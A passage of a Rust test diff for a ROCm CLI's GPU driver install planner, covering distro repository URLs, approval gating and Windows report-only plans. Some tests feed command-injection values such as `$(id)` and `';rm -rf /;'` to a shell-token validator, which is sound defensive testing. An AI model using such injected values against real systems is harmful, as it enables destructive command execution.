fn driver_plan_falls_back_on_a_space_free_hostile_codename() { - // The payload above is full of spaces, which `is_safe_shell_token` - // already rejects on its own -- it proves nothing about whether the - // metacharacters themselves are denylisted. Use a space-free payload - // so rejection can only come from the metacharacters. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Single-quoted so the os-release parser (which refuses an unquoted - // `$`/`(`/`)` outright, making the whole file unreadable rather than - // just this field) accepts the line and hands `$(id)` to - // `is_safe_shell_token` to reject on its own merits. - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME='$(id)' -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.codename, "noble"); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("$(id)")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_space_free_malformed_version_id() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Single-quoted for the same reason as the codename test above: a - // bare/double-quoted `$(id)` makes the whole os-release file - // unreadable, which would pass this test's assertions (empty - // version_id, unsupported) without ever reaching `is_safe_shell_token`. - let os_release = r" -ID=ubuntu -VERSION_ID='$(id)' -VERSION_CODENAME=noble -"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.version_id, ""); - assert!(!plan.supported); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("$(id)")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_space_free_hostile_os_id() { - // Closes the gap where `os_id`'s `is_safe_shell_token` filter (the - // `field("ID").filter(...)` call above `codename_for_version`) had no - // dedicated test at all: deleting that filter left every other test - // green, since none of them feed a hostile `ID` value. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID='$(id)' -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.os_id, ""); - assert_eq!(plan.policy, "unsupported_linux_dkms_plan"); - assert!(!plan.supported); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("$(id)")) - ); - } - - #[test] - fn is_safe_shell_token_rejects_quote_and_semicolon_payloads() { - // The hostile-codename/version-id/os-id tests above only ever send - // `$(id)` through this filter, which proves the metacharacter - // denylist works for *that* payload -- but a widened character class - // that happened to still reject `$`, `(`, `)` while now accepting - // `'`/`;` would pass every one of them undetected. `'` breaks out of - // this value's enclosing single-quoted shell string outright, and - // `;` chains a second command once out, so both must be checked - // directly against the function itself, not only indirectly. - assert!(!is_safe_shell_token("6.2.1'")); - assert!(!is_safe_shell_token("6.2.1;rm")); - assert!(!is_safe_shell_token("';rm -rf /;'")); - // `/` cannot break out of the quotes, but it would let the override - // rewrite the repo URL path. - assert!(!is_safe_shell_token("6.2.1/../x")); - assert!(is_safe_shell_token("6.2.1")); - } - - #[test] - fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { - let (root, paths) = test_paths("driver-reconcile-empty"); - - let rendered = reconcile_driver_install(&paths)?; - - assert!(rendered.contains("driver install reconciliation")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("privileged_commands: ")); - assert!(rendered.contains("no prior driver execution state found")); - assert!(rendered.contains("rocm install driver --dkms")); - assert!(!driver_install_state_path(&paths).exists()); - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn driver_reconcile_updates_state_after_reboot() -> Result<()> { - let (root, paths) = test_paths("driver-reconcile-state"); - let pre_driver = rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "not_detected".to_owned(), - detail: None, - windows: None, - }; - let current_driver = rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_available".to_owned(), - detail: Some("/dev/kfd is present".to_owned()), - windows: None, - }; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: Some(2), - pre_driver, - post_driver: None, - boot_id_at_execution: Some("old-boot".to_owned()), - reboot_required: true, - reboot_observed: false, - commands: vec!["sudo apt-get install -y amdgpu-dkms".to_owned()], - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let checks = vec![ - DriverPassiveCheck { - name: "/dev/kfd".to_owned(), - status: "present".to_owned(), - detail: "KFD device node".to_owned(), - }, - DriverPassiveCheck { - name: "/dev/dri/renderD*".to_owned(), - status: "missing".to_owned(), - detail: "DRM render node".to_owned(), - }, - ]; - - let rendered = reconcile_driver_install_state( - &paths, - &mut state, - current_driver, - Some("new-boot".to_owned()), - checks, - )?; - let saved = read_driver_install_state(&paths)?.expect("state should be saved"); - - assert!(rendered.contains("reboot_observed: true")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("privileged_commands: ")); - assert!(rendered.contains("driver_status: amdgpu_available")); - assert!(rendered.contains("passive_check_summary: total=2 present=1 missing=1")); - assert!(rendered.contains("/dev/dri/renderD*: missing")); - assert!(rendered.contains("missing passive checks")); - assert!(saved.reboot_observed); - assert!(saved.reconciled_at_unix_ms.is_some()); - assert_eq!( - saved - .reconciliation - .as_ref() - .map(|value| value.driver.status.as_str()), - Some("amdgpu_available") - ); - let reconciliation = saved.reconciliation.as_ref().expect("reconciliation saved"); - assert_eq!(reconciliation.check_summary.total, 2); - assert_eq!(reconciliation.check_summary.present, 1); - assert_eq!(reconciliation.check_summary.missing, 1); - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn driver_reconcile_preserves_explicit_reboot_policy() -> Result<()> { - for reboot_required in [false, true] { - let (root, paths) = test_paths(if reboot_required { - "driver-reconcile-reboot-true" - } else { - "driver-reconcile-reboot-false" - }); - let driver = rocm_core::DriverSummary { - policy: "driver-policy".to_owned(), - status: "available".to_owned(), - detail: None, - windows: None, - }; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: Some(2), - pre_driver: driver.clone(), - post_driver: None, - boot_id_at_execution: Some("same-boot".to_owned()), - reboot_required, - reboot_observed: false, - commands: vec!["execute".to_owned()], - reconciled_at_unix_ms: None, - reconciliation: None, - }; - - reconcile_driver_install_state( - &paths, - &mut state, - driver, - Some("same-boot".to_owned()), - Vec::new(), - )?; - let saved = read_driver_install_state(&paths)?.expect("state should be saved"); - - assert_eq!(state.reboot_required, reboot_required); - assert_eq!(saved.reboot_required, reboot_required); - let _ = fs::remove_dir_all(root); - } - Ok(()) - } - - #[test] - fn driver_passive_check_summary_counts_non_present_as_missing() { - let summary = summarize_driver_passive_checks(&[ - DriverPassiveCheck { - name: "/dev/kfd".to_owned(), - status: "present".to_owned(), - detail: "KFD".to_owned(), - }, - DriverPassiveCheck { - name: "/dev/dri/renderD*".to_owned(), - status: "missing".to_owned(), - detail: "render".to_owned(), - }, - DriverPassiveCheck { - name: "dkms".to_owned(), - status: "error".to_owned(), - detail: "dkms status failed".to_owned(), - }, - ]); - - assert_eq!(summary.total, 3); - assert_eq!(summary.present, 1); - assert_eq!(summary.missing, 2); - } - - #[test] - fn driver_plan_default_linux_preflight_has_no_execution_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - false, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty()); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("execution_commands: ")); - assert!(!rendered.contains("sudo apt-get")); - assert!(rendered.contains("add --dkms")); - } - - #[test] - fn driver_plan_debian_12_omits_linux_modules_extra() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=debian -VERSION_ID="12" -VERSION_CODENAME=bookworm -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("linux-headers-$(uname -r)")); - assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("amdgpu-dkms")); - assert!(rendered.contains("dry run only")); - } - - #[test] - fn driver_plan_rhel_97_uses_documented_dnf_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert!(rendered.contains("`dnf` package manager is available")); - assert!(rendered.contains("kernel-headers-$(uname -r)")); - assert!(rendered.contains("kernel-devel-$(uname -r)")); - assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") - ); - assert!(rendered.contains("gpgcheck=1")); - assert!(rendered.contains("/etc/yum.repos.d/amdgpu.repo")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn driver_plan_oracle_linux_101_uses_el_10_uek_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ol -VERSION_ID="10.1" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("kernel-uek-devel-$(uname -r)")); - // `rpm --import` is pushed once after the distro-specific match, not - // inside the RHEL/Generic arm -- Oracle's flow must get it too. - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/10/main/x86_64") - ); - assert!(rendered.contains("dry run only")); - } - - #[test] - fn driver_plan_rocky_97_uses_el_dnf_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=rocky -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered - .contains("sudo dnf install -y kernel-headers kernel-devel kernel-devel-matched") - ); - // Rocky is `Generic`, not `Rhel`, in `DnfDriverDistro` -- confirms the - // `rpm --import` push is unconditional across the dnf match arms, not - // only wired for the `Rhel`/`Oracle` arms the other two tests cover. - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.7/main/x86_64") - ); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_rocky_94_uses_el_dnf_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Rocky 9.x point releases must resolve like RHEL 9.x, not just 9.7. - let os_release = r#" -ID=rocky -VERSION_ID="9.4" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.4/main/x86_64") - ); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - } - - #[test] - fn driver_plan_rocky_8_and_10_remain_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AMD documents Rocky Linux 9 only; keep the driver matrix scoped to 9.x. - for version in ["8.10", "10.0"] { - let os_release = format!("\nID=rocky\nVERSION_ID=\"{version}\"\n"); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(&os_release), - true, - PrivilegeEscalation::Sudo, - ); - assert!(!plan.supported, "rocky {version} should be unsupported"); - assert!(!plan.mutating, "rocky {version} must not mutate"); - assert!( - plan.commands.is_empty(), - "rocky {version} must emit no commands" - ); - } - } - - #[test] - fn driver_plan_debian_uses_intended_ubuntu_suite() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AMD's documented Debian install deliberately serves Debian from the - // Ubuntu-suite amdgpu tree (Debian 12 -> jammy). Lock that in and - // ensure the plan explains the mapping is intentional. - let os_release = r#" -ID=debian -VERSION_ID="12" -VERSION_CODENAME=bookworm -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert_eq!(plan.codename, "jammy"); - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); - assert!( - plan.reason - .contains("intentionally uses AMD's Ubuntu-suite repository") - ); - } - - #[test] - fn driver_plan_sles_157_uses_documented_zypper_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=sles -VERSION_ID="15.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(rendered.contains("`zypper` package manager is available")); - assert!(rendered.contains("SUSEConnect")); - assert!(rendered.contains("sle-module-desktop-applications/15.7/x86_64")); - assert!(rendered.contains("sudo zypper --non-interactive install -y kernel-default-devel")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64") - ); - assert!(rendered.contains("gpgcheck=1")); - assert!(rendered.contains("/etc/zypp/repos.d/amdgpu.repo")); - assert!( - rendered.contains("sudo zypper --non-interactive --gpg-auto-import-keys refresh"), - "the post-repo-add refresh must auto-trust the new repo's signing key, \ - or zypper would prompt (and hang this unattended flow): {rendered}" - ); - assert!(rendered.contains("Execute: sudo zypper --non-interactive install -y amdgpu-dkms")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn sles_repo_baseurl_uses_the_given_repo_version_expr_not_a_hardcoded_latest() { - // Mutation-proofs the parameter wiring itself: a mutation that - // hardcoded `latest` into this function's body left every existing - // SLES test green because their default env override also resolves - // to `latest`, so none of them could tell "wired correctly" apart - // from "hardcoded to the same value the default happens to be". - assert_eq!( - sles_repo_baseurl("6.2.1", "15.7"), - "https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64" - ); - assert_eq!( - sles_repo_baseurl("latest", "15.7"), - "https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64" - ); - } - - #[test] - fn driver_plan_dnf_overrides_the_repo_version_via_the_driver_version_env() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); - let os_release = "ID=rhel\nVERSION_ID=\"9.7\"\n"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered.contains("amdgpu/30.10/rhel/9.7/"), - "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the dnf repo baseurl, \ - not a hardcoded `latest`: {rendered}" - ); - } - - #[test] - fn driver_plan_id_like_derivatives_honour_the_driver_version_env() { - // (os-release, expected repo path). Each derivative arm of - // `driver_plan_via_id_like` must thread the override, not `latest`. - let cases = [ - ( - "ID=almalinux\nID_LIKE=\"rhel centos fedora\"\nVERSION_ID=\"9.6\"\n", - "amdgpu/30.10/el/9.6", - ), - ( - "ID=pop\nID_LIKE=\"ubuntu debian\"\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - "amdgpu/30.10/ubuntu", - ), - ( - "ID=devuan\nID_LIKE=debian\nVERSION_ID=\"12\"\n", - "amdgpu/30.10/ubuntu", - ), - ]; - for (os_release, want) in cases { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(plan.supported, "{os_release}"); - assert!(rendered.contains(want), "{os_release}: {rendered}"); - assert!( - !rendered.contains("amdgpu/latest"), - "{os_release}: {rendered}" - ); - } - } - - #[test] - fn approving_an_unsupported_plan_is_an_error_but_not_a_dry_run_or_windows() { - let mut plan = unsupported_test_plan(); - assert!(approval_of_unsupported_plan(&plan, true, false)); - assert!(!approval_of_unsupported_plan(&plan, false, false)); - assert!(!approval_of_unsupported_plan(&plan, true, true)); - plan.policy = "windows_validate_only".to_owned(); - assert!(!approval_of_unsupported_plan(&plan, true, false)); - plan.policy = "x".to_owned(); - plan.supported = true; - assert!(!approval_of_unsupported_plan(&plan, true, false)); - } - - fn unsupported_test_plan() -> DriverInstallPlan { - invalid_driver_version_override_plan("x".to_owned()) - } - - #[test] - fn driver_plan_refuses_a_retired_version_pin_variable() { - for retired in RETIRED_DRIVER_VERSION_VARS { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set(retired, "7.2.4"); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported && !plan.mutating, "{retired}"); - assert_eq!(plan.policy, "retired_driver_version_override"); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - } - } - - #[test] - fn driver_plan_support_matches_rocm_core_diagnose() { - // `rocm-core` cannot call the plan builder, so diagnose keeps its own - // copy of the support matrix (`dkms_driver_plan_is_supported`); this - // fails if the two disagree on any host. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let hosts = [ - ("ubuntu", "22.04", "debian"), - ("ubuntu", "24.04", "debian"), - ("Ubuntu", "24.04", "debian"), - ("ubuntu", "26.04", "debian"), - ("debian", "12", ""), - ("debian", "13", ""), - ("rhel", "9.7", "fedora"), - ("rhel", "10.0", "fedora"), - ("ol", "9.7", "fedora"), - ("ol", "9.7", "rhel fedora"), - ("ol", "9.5", "rhel fedora"), - ("rocky", "9.6", "rhel centos fedora"), - ("almalinux", "9.6", "rhel centos fedora"), - ("sles", "15.7", "suse"), - ("sle", "15.7", "suse"), - ("pop", "24.04", "ubuntu debian"), - ("linuxmint", "22", "ubuntu debian"), - ("fedora", "41", ""), - ("opensuse-leap", "15.7", "suse opensuse"), - ]; - for (id, version, like) in hosts { - let os_release = format!( - "ID={id}\nVERSION_ID=\"{version}\"\nID_LIKE=\"{like}\"\nVERSION_CODENAME=noble\n" - ); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(&os_release), - true, - PrivilegeEscalation::Sudo, - ); - let host = rocm_core::examine::Examination { - distro_id: id.to_owned(), - distro_version: version.to_owned(), - distro_id_like: like.to_owned(), - ..rocm_core::examine::Examination::default() - }; - assert_eq!( - plan.supported, - rocm_core::diagnose::dkms_driver_plan_is_supported(&host), - "{id} {version} (ID_LIKE={like}): plan policy {}", - plan.policy - ); - } - } - - #[test] - fn driver_plan_sles_overrides_the_repo_version_via_the_driver_version_env() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "6.2.1"); - let os_release = r#" -ID=sles -VERSION_ID="15.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64"), - "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the SLES repo baseurl, \ - not a hardcoded `latest`: {rendered}" - ); - } - - #[test] - fn driver_plan_unsupported_linux_is_non_mutating() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=fedora -VERSION_ID="41" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("no driver commands will be executed")); - assert!(!rendered.contains("sudo dnf install -y amdgpu-dkms")); - } - - /// AGENTS.md section 3: the planners' wording is asserted together with what - /// the command does on that platform. On Windows the command is - /// `windows_validate_only` (no execution), so the plan must be read-only, - /// carry no `--yes` and not call itself disruptive; elsewhere the command - /// mutates, so the plan keeps approval, `--yes` and the warning. - #[test] - fn planners_describe_install_driver_as_the_command_behaves_on_each_platform() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for os in ["windows", "linux"] { - let only_reports = install_driver_only_reports_on(os); - let plan = build_driver_install_plan_at( - &test_examine(os, false), - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - // The planners and the command agree on the platform decision. - assert_eq!(only_reports, plan.policy == "windows_validate_only", "{os}"); - if only_reports { - assert!(!plan.mutating, "{os}"); - } - - let freeform = crate::freeform_planner::plan_driver_request( - "install the driver", - "install the driver", - only_reports, - ); - let action = freeform.actions.last().expect("a driver action"); - let chat = crate::chat::chat_install_driver_action( - vec!["install".to_owned(), "driver".to_owned()], - only_reports, - ); - if only_reports { - assert!(!action.args.iter().any(|a| a == "--yes"), "{action:?}"); - assert!(!action.reason.contains("disruptive"), "{action:?}"); - assert!(!freeform.approval.starts_with("required")); - match chat { - crate::chat::ChatRocmCommandAction::ReadOnly(args) => { - assert!(!args.iter().any(|a| a == "--yes")); - } - crate::chat::ChatRocmCommandAction::Approval { .. } => { - panic!("chat must not ask approval for a report-only command") - } - } - } else { - assert!(action.args.iter().any(|a| a == "--yes")); - assert!(action.reason.contains("disruptive")); - assert_eq!(freeform.approval, "required before driver changes"); - match chat { - crate::chat::ChatRocmCommandAction::Approval { args, .. } => { - assert!(args.iter().any(|a| a == "--yes")); - } - crate::chat::ChatRocmCommandAction::ReadOnly(_) => { - panic!("chat must ask approval on a mutating platform") - } - } - } - } - } - - /// The chat entry point passes this host's decision to the helper, so a - /// hard-coded value fails on one of the two platforms the suite runs on. - #[test] - fn the_chat_entry_point_follows_the_hosts_install_driver_decision() { - let action = crate::chat::chat_rocm_command_action_from_args(vec![ - "install".to_owned(), - "driver".to_owned(), - ]) - .expect("chat action"); - let reports = std::env::consts::OS == "windows"; - assert_eq!(host_install_driver_only_reports(), reports); - match action { - crate::chat::ChatRocmCommandAction::ReadOnly(args) => { - assert!(reports, "read-only only where the command only reports"); - assert!(!args.iter().any(|a| a == "--yes")); - } - crate::chat::ChatRocmCommandAction::Approval { args, .. } => { - assert!(!reports, "approval only where the command installs"); - assert!(args.iter().any(|a| a == "--yes")); - } - } - } - - #[test] - fn windows_install_driver_is_validate_only() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let plan = build_driver_install_plan_read( - &test_examine("windows", false), - &os_release_found(""), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert_eq!(plan.policy, "windows_validate_only"); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("execution_commands: ")); - // The plan installs nothing, so it asks for no reboot and labels its - // checks accordingly. - assert!(!plan.reboot_required); - assert!(rendered.contains("post_install_checks:")); - assert!(!rendered.contains("post_reboot")); - // No driver facts in this fixture: the text says so and points at the - // commands that exist. Both commands take no flags. - assert!(rendered.contains("could not be read; run `rocm examine`")); - assert!(rendered.contains("rocm diagnose")); - assert!(plan.commands.is_empty()); - } - - /// The gate behind "installs nothing on Windows": approval does not make a - /// Windows plan execute, while the same flags do execute a supported, - /// mutating plan, so the assertion cannot pass by always returning false. - #[test] - fn should_execute_never_runs_a_windows_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let windows = build_driver_install_plan_read( - &test_examine("windows", false), - &os_release_found(""), - true, - PrivilegeEscalation::Sudo, - ); - assert!(!should_execute(&windows, true, false)); - assert!(!should_execute(&windows, false, false)); - - let mut mutating = windows; - mutating.supported = true; - mutating.mutating = true; - assert!(should_execute(&mutating, true, false)); - assert!(!should_execute(&mutating, false, false)); - assert!(!should_execute(&mutating, true, true)); - } - - fn windows_examine_with_driver(version: &str, date: &str) -> ExamineSummary { - let mut examine = test_examine("windows", false); - examine.driver = rocm_core::DriverSummary { - policy: "windows_validate_only".to_owned(), - status: "amd_display_driver_detected".to_owned(), - detail: Some(format!("AMD Radeon(TM) Graphics driver {version}")), - windows: rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date), - }; - examine - } - - /// The text and the behaviour, asserted together: the plan reports the - /// driver version, date, verdict and fix id, and the same plan runs - /// nothing, even when approval is given. - #[test] - fn windows_install_driver_reports_an_old_driver_and_installs_nothing() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = windows_examine_with_driver("30.0.13014.8", "2021-08-04"); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - - // Behaviour: nothing to execute, however the command is invoked. - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty()); - assert!(plan.execution_commands().is_empty()); - for (yes, dry_run) in [(false, false), (true, false), (true, true)] { - let rendered = render_driver_install_plan(&plan, yes, dry_run); - assert!( - rendered.contains("execution_commands: "), - "{rendered}" - ); - assert!( - rendered.contains("action: no driver commands will be executed"), - "{rendered}" - ); - assert!(!rendered.contains("rerun with --yes"), "{rendered}"); - - // Text: what it reports. - assert!(rendered.contains("version 30.0.13014.8"), "{rendered}"); - assert!(rendered.contains("dated 2021-08-04"), "{rendered}"); - assert!(rendered.contains("outdated: yes"), "{rendered}"); - assert!( - rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), - "{rendered}" - ); - // The promise that nothing is installed. - assert!( - rendered.contains("no driver is installed or changed"), - "{rendered}" - ); - } - } - - #[test] - fn windows_install_driver_does_not_call_a_current_driver_outdated() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = windows_examine_with_driver("32.0.23033.1002", "2026-05-02"); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, true, false); - assert!(rendered.contains("version 32.0.23033.1002"), "{rendered}"); - assert!(rendered.contains("outdated: no"), "{rendered}"); - // The `no` is only about the date, so the plan says what the date - // cannot judge; the state behind it is a report-only plan. - assert!( - rendered.contains(rocm_core::windows_driver::FLOOR_NOTE), - "{rendered}" - ); - assert!( - !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), - "{rendered}" - ); - assert!(plan.commands.is_empty() && !plan.mutating); + assert_eq!(observed, expected); + assert!( + verify_commands + .iter() + .all(|command| !observed.contains(command)), + "reboot-gated Verify commands must be deferred: {verify_commands:?}" + ); + assert!(state.executed_at_unix_ms.is_some()); + assert!(state.reboot_required); + Ok(()) } #[test] - fn windows_install_driver_says_unknown_when_the_date_is_unreadable() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = windows_examine_with_driver("30.0.13014.8", ""); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(rendered.contains("outdated: unknown"), "{rendered}"); - assert!( - !rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), - "{rendered}" - ); - } - - /// One probe result, read by both commands. The install text and the - /// diagnose result are built from the same `WindowsDriverInfo`, the value - /// `rocm examine` reads from the inventory, so a text that names the fix id - /// is checked against the command it names. Reverting the `reason` wiring in - /// `build_driver_install_plan` makes the install half fail. - fn install_text_and_diagnose_ids( - info: Option<&rocm_core::windows_driver::WindowsDriverInfo>, - ) -> (String, Vec) { - let mut examine = test_examine("windows", false); - examine.driver.windows = info.cloned(); - let plan = build_driver_install_plan_at( - &examine, - "/etc/os-release", - "", - true, - PrivilegeEscalation::Sudo, - ); - let text = render_driver_install_plan(&plan, false, false); - - let mut exam = rocm_core::Examination { - os_family: "windows".to_owned(), - ..rocm_core::Examination::default() + fn failed_driver_verify_does_not_mark_execution_completed() -> Result<()> { + let (root, paths) = test_paths("driver-verify-failure-state"); + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + 